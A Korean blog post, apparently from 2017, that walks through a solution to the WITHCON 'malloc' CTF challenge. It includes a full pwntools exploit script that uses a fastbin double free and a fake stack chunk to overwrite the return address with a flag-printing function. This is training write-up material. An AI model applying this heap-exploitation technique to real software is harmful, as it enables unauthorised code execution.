ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • WITHCON malloc
    Pwnable/CTF 2017. 3. 3. 13:11


    문제 메인은 이렇다.




    malloc 부분을보면 32를 할당하게된다. 이떄 32보다 크면 It's too big! 을 출력 시키고 malloc(32) 를 한다.



    이 부분에 flag를 여는 곳이 있다. 이 뜻은 이쪽으로 리턴? 을 시켜서 풀라는 것 같다.


    그래서 이 문제는 How2Heap 중 fastbin dup into stack을 이해한다면 풀 수 있다.  물론 .. 이해해도 어려웟다 .. 

    (일단 익스 코드를 보여주고 거기에 따라서 힙 상황 적음)



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    from pwn import *
    p=remote("192.168.1.104",9001)
    print p.recvuntil('Stack Address : ')
    Stack=int(p.recv(14),16)
     
    print "[*] stack ptr: " + hex(Stack)
     
    shell=0x400986
     
    def malloc(size,data):
            print p.recvuntil('> ')
            p.sendline("1")
            print p.recvuntil('Enter size :')
            p.sendline(str(size))
            print p.recvuntil('Enter data :')
            p.sendline(str(data))
     
    def free(index):
            print p.recvuntil('> ')
            p.sendline("2")
            print p.recvuntil('Which one do you want to free : ')
            p.sendline(str(index))
            print p.recvuntil('Chunk free complete.')
    def list():
            print p.recvuntil('> ')
            p,sendline("3")
            print p.recv(1024)
     
    def modify(index,data):
            print p.recvuntil('> ')
            p.sendline("4")
            print p.recvuntil('Which chunk do you want to modify : ')
            p.sendline(str(index))
            print p.recvuntil('Enter data : ')
            p.sendline(str(data))
            print p.recvuntil('Data modify complete.')
     
    def Exploit():
            print p.recvuntil('> ')
            p.sendline("1")
            print p.recvuntil('Enter size :')
            p.sendline("56")
            print p.recv(1024)
            p.sendline("A"*24 + p64(shell))
     
    malloc(32,"Q"*4)
    malloc(32,"Z"*4)
    free(1)
    free(2)
    free(1)
    modify(1,p64(Stack-0x58))
    malloc(32,"B"*4)
    Exploit()
     
    p.interactive()
    cs


    익스 코드에서 malloc 2번 free3번(사실 free(2),free(1) 두 번만 해줘도 됨) modify로 fd에 스택주소 -0x58을 하고 malloc(2번을하는데) 이 떄 malloc 2번쨰에 세그먼트 오류가 뜬다. 


    이 떄 마지막 malloc에 size64를 넣었으면 아이다에서 있는것처럼 It's too big! 을 출력 시키고 malloc(32)를 할것이다.

     






    처음 시작했을떄 저 주소를 스택주소라고 출력시켜주었다.      

    하지만 여기에 0x20 사이즈가 없다?




    저기 익스코드 처럼 0x58을 해보면 이런식으로 사이즈가 있는데 0x20이 아닌 우리가 입력한 사이즈인 64의 HEX값이 사이즈로 있다 ..


    이렇게 해서 사이즈를 맞추어서 할당을 해주었다 ! 


    이렇게 할당을 한 후 오버플로우를 일으켜서 EIP를 shell=0x400986 이 주소로 하면될것이다. (저 주소는 cat flag) 주소이다.






    지적 해주시면 감사하겠습니다.

    'Pwnable > CTF' 카테고리의 다른 글

    PlaidCTF 2014 EZHP  (2) 2017.03.10
    codegate 2017 messenger  (1) 2017.03.08
    Codegate 2017 baby_pwn  (0) 2017.02.20
    Codegate2014 Angry_Doramon  (0) 2017.02.14
    PlaidCTF 2013 ropasaurusrex  (0) 2017.02.11
Designed by Tistory.